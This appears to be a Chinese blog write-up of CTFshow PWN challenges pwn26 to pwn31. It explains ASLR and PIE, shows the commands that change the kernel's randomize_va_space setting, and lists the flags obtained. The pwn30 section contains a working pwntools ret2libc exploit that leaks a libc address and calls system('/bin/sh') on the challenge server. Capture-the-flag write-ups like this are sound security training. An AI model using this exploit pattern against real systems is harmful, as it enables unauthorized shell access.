CTFshow-PWN-前置基础(pwn26-pwn31)

news2024/10/5 14:30:15

目录

1、pwn26 

2、pwn27

3、pwn28

4、pwn29

5、pwn30

6、pwn31


1、pwn26 

设置好 ASLR 保护参数值即可获得flag

首先我们需要知道什么是 ASLR?

ASLR(Address Space Layout Randomization)是一种操作系统级别的安全功能,它通过在每次程序运行时随机化内存地址的布局,使得攻击者更难以利用内存地址的固定位置进行攻击,ASLR 随机化的内容包括栈、堆、共享库、堆栈和内存映射等。

可以将该文件的值设置为以下几个选项之一来控制 ASLR 的行为:

  • 0:关闭 ASLR,内存布局不随机化。
  • 1:启用 ASLR,但只有堆和栈是随机化的。
  • 2:启用完整的 ASLR,所有内存段(包括堆、栈、共享库等)都是随机化的。

给程序加上可执行权限后运行

提示需要 ASLR 功能的级别为 0 才能得到正确的 flag

使用命令设置 ASLR 的级别 :

echo "0" > /proc/sys/kernel/randomize_va_space

注意这里需要 root 权限 

flag is :ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0} 

2、pwn27

设置好 ASLR 保护参数值即可获得flag

目前等级是 0  

flag:ctfshow{0x400687_0x400560_0x603260}

提示说等级为 0 或者 1 都可以,我们将等级设置为 1 

echo "1" > /proc/sys/kernel/randomize_va_space

得到:ctfshow{0x400687_0x400560_0x603260} 

与前者一致

3、pwn28

设置好 ASLR 保护参数值即可获得flag

 经测试,不管 ASLR 等级为多少,flag都是: ctfshow{0x400687_0x400560}

这是在 PIE 保护未开启情况下,函数本身地址未变化

4、pwn29

ASLR 和 PIE开启后

这个保护全开 

这里需要改回原来的名字 pwn

flag:ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!} 

在启用 ASLR(Address Space Layout Randomization)和 PIE(Position Independent Executable)后,系统会随机化内存布局,但是随机化的仅仅是对象的起始地址,而不会随机化对象内部的结构和相对偏移。

5、pwn30

关闭PIE后

程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。

 拖进 ida 会发现存在栈溢出,与 pwn25 一样,但是也没有 system 或者 bin/sh

需要按照 pwn25 的方法来,但是我那个库有问题,因此我们避开那个库

exp:

# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")

offset = 0x88 + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))

# 计算 libc 的基址
libc = ELF("/home/ctfshow/libc/32bit/libc-2.27.so")  # 请替换成你本地 libc 的路径
libc.address = puts_addr - libc.symbols['puts']
print(hex(libc.address))

# 计算 system 函数的地址
system_addr = libc.symbols['system']

# 使用 one_gadget 工具获取 /bin/sh 字符串的地址
# 注意:这是一种快速获取 /bin/sh 字符串地址的方法,不一定适用于所有情况
# 如果没有 one_gadget 工具,可以手动计算 "/bin/sh" 字符串的地址
one_gadget = libc.address + 0x4f2c5  # 根据你的 libc 版本来确定地址
binsh_addr = next(libc.search("/bin/sh"))

# 构造 payload 发送给程序
payload = offset * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)
p.sendline(payload)

p.interactive()

flag:ctfshow{9c68af3e-77ab-4058-80b9-e1dfde194430} 

6、pwn31

开启 ASLR 和 PIE 的情况下,仍可能被利用

这个除了 canary 保护没开其他全开 

拖进 ida 同样会发现这道题还是存在溢出,并且已经知道 main 函数地址,需要通过计算偏移得到程序本身加载的地址,但是这些对我这种新手来说真的太不友好了,我的建议是先从后面简单的栈溢出开始来,后面再返回来看这些不懂的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1611581.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【VSLAM】VINO-Mono安装部署与运行

😏★,:.☆( ̄▽ ̄)/$:.★ 😏 这篇文章主要介绍VINO-Mono安装部署与运行。 学其所用,用其所学。——梁启超 欢迎来到我的博客,一起学习,共同进步。 喜欢的朋友可以关注一下,下次更新不迷…

数学建模--非线性规划模型+MATLAB代码保姆式解析

目录 1.简单介绍 2.求解方法 3.适用赛题 4.典型例题及相关分析 (1)问题引入 (2)决策变量&约束条件 (3)确定目标函数 (4)建立数学模型 5.MATLAB代码祝逐字句讲解 1.简单…

什么是AIoT?

什么是AIoT? AIoT,即人工智能物联网,是一种将人工智能(AI)技术与物联网(IoT)相结合的新型应用形态。它不仅实现了设备之间的互联互通,还赋予了它们更智能化的特性。AIoT的核心在于通过AI的数据…

Ubuntu 系统安装 VS Code 并配置 C++ 环境

Linux 系列教程: VMware 安装配置 Ubuntu(最新版、超详细)FinalShell 远程连接 Linux(Ubuntu)系统Ubuntu 系统安装 VS Code 并配置 C 环境 ➡️➡️ ➡️VS Code 官方教程:Using C on Linux in VS Code&…

掌握字幕艺术:pysrt 库指南

文章目录 掌握字幕艺术:pysrt 库指南第一部分:背景介绍第二部分:库是什么?第三部分:如何安装这个库?第四部分:库函数使用方法第五部分:场景应用第六部分:常见Bug及解决方…

基于Kubernetes集群构建MongoDB

基于Kubernetes集群构建MongoDB 作者:行癫(盗版必究) 一:基础环境 1.Kubernetes集群正常运行 2.Harbor私有仓库正常运行 二:MongoDB项目部署 ​ MongoDB项目对应Kubernetes的yaml文件: --- apiVersion: v1 kind: Namespace metadata:name: m

深入了解PBKDF2:密码学中的关键推导函数

title: 深入了解PBKDF2:密码学中的关键推导函数 date: 2024/4/20 20:37:35 updated: 2024/4/20 20:37:35 tags: 密码学对称加密哈希函数KDFPBKDF2安全密钥派生 第一章:密码学基础 对称加密和哈希函数 对称加密:对称加密是一种加密技术&…

ECharts:五大卓越在线示例库助力高效数据可视化开发

1. ECharts官方示例库 ECharts官网提供的示例库是最权威、最新的展示平台,涵盖了所有基础和高级图表类型,每个示例都配有详尽的代码解释和配置说明。开发者可以直接查看源代码,复制粘贴后稍加修改就能应用于实际项目中。 2. Make A Pie - EC…

【声呐仿真】学习记录1-配置dave、uuv_simulator

【声呐仿真】学习记录1-配置dave、uuv_simulator 1.介绍2.配置3.一些场景 1.介绍 家|DAVE项目 — Home | Project DAVE 2.配置 参考官方教程安装|DAVE项目 — Installation | Project DAVE mkdir -p ~/uuv_ws/src cd ~/uuv_ws/src git clone https://github.com/Field-Robot…

Jmeter 性能-死锁问题定位+分析

1、环境搭建 ①准备脚本,执行压测 ②用Jstack 打印日志 jstack 112759 >dead.log ③下载日志到本地 sz dead.log 2、问题定位 ①打开dead.log,搜索deadlock ②查看死锁的线程 ③查看死锁位置 3、问题分析 ①下载死锁的类文件 Sz CaseControlle…

Redis系列之Cluster集群搭建

在上一篇博客,我们学习Redis哨兵Sentinel集群的搭建,redis的哨兵模式提供了比如监控、自动故障转移等高可用方案,但是这种方案,容量相对固定,要进行持续扩容或者数据分片就不适合,所以有另外一种更复杂的集…

某零售企业招聘管理体系搭建咨询项目

科学岗位分析,改善招聘流程,提高招聘及时率随着公司不断发展壮大,企业规模逐渐增大,部门设置也日益增多,因此对人员的需求也日益提高。但是目前该企业在人员招聘方面逐渐暴露出一些诸如岗位分析不到位、缺乏整体面试计…

分类预测 | Matlab实现SCSO-SVM沙猫群优化算法优化支持向量机多特征分类预测

分类预测 | Matlab实现SCSO-SVM沙猫群优化算法优化支持向量机多特征分类预测 目录 分类预测 | Matlab实现SCSO-SVM沙猫群优化算法优化支持向量机多特征分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现SCSO-SVM沙猫群优化算法优化支持向量机多特征分类…

Spring是如何解决循环依赖的

简介 所谓循环依赖指的是:BeanA对象的创建依赖于BeanB,BeanB对象的创建也依赖于BeanA,这就造成了死循环,如果不做处理的话势必会造成栈溢出。Spring通过提前曝光机制,利用三级缓存解决循环依赖问题。 变量描述single…

2024年广东三支一扶考试报名详细流程

2024年广东三支一扶考试报名详细流程

《R语言与农业数据统计分析及建模》学习——操作数据框

1、数据框的增删改查 &#xff08;1&#xff09;新增或删除行列 R的基础包中使用rbind()函数新增行&#xff0c;使用[-行索引,]的方式从数据框中删除列&#xff0c;使用$的方式新增或删除列。 # 创建一个示例数据框 df<-data.frame(Regionc("south","north…

C语言之offsetof实现分析(九十一)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

【Redis】Hash数据类型

文章目录 常用命令hset & hgethexists & hdelhkeys & hvals & hgetallhlen & hmgethsetnxhincrby & hincrbyfloat 内部编码 Hash 相比于 string 而言可以节省很多个 key &#xff0c;一个 key 里面又可以包含了多个 key-value 常用命令 hset & hg…

密码学 | 承诺:绑定性 + 隐藏性

&#x1f951;原文&#xff1a;承诺方案&#xff08;Commitment&#xff09;学习笔记 &#x1f951;写在前面&#xff1a; 本文属搬运博客&#xff0c;自己留存学习。本文只会讲承诺的两个安全属性&#xff0c;不会再讲解承诺的定义。 正文 承诺方案需要满足两个安全属性&…

云手机助力舆情监测,智慧引领信息时代

随着信息时代的到来&#xff0c;舆情监测已成为政府、企业、高校、金融机构等各行业的必备利器。在这个信息爆炸的时代&#xff0c;如何及时准确地感知民意、把握市场动态&#xff0c;已成为各界迫切需要解决的问题。而云手机作为信息时代的新生力量&#xff0c;在舆情监测方面…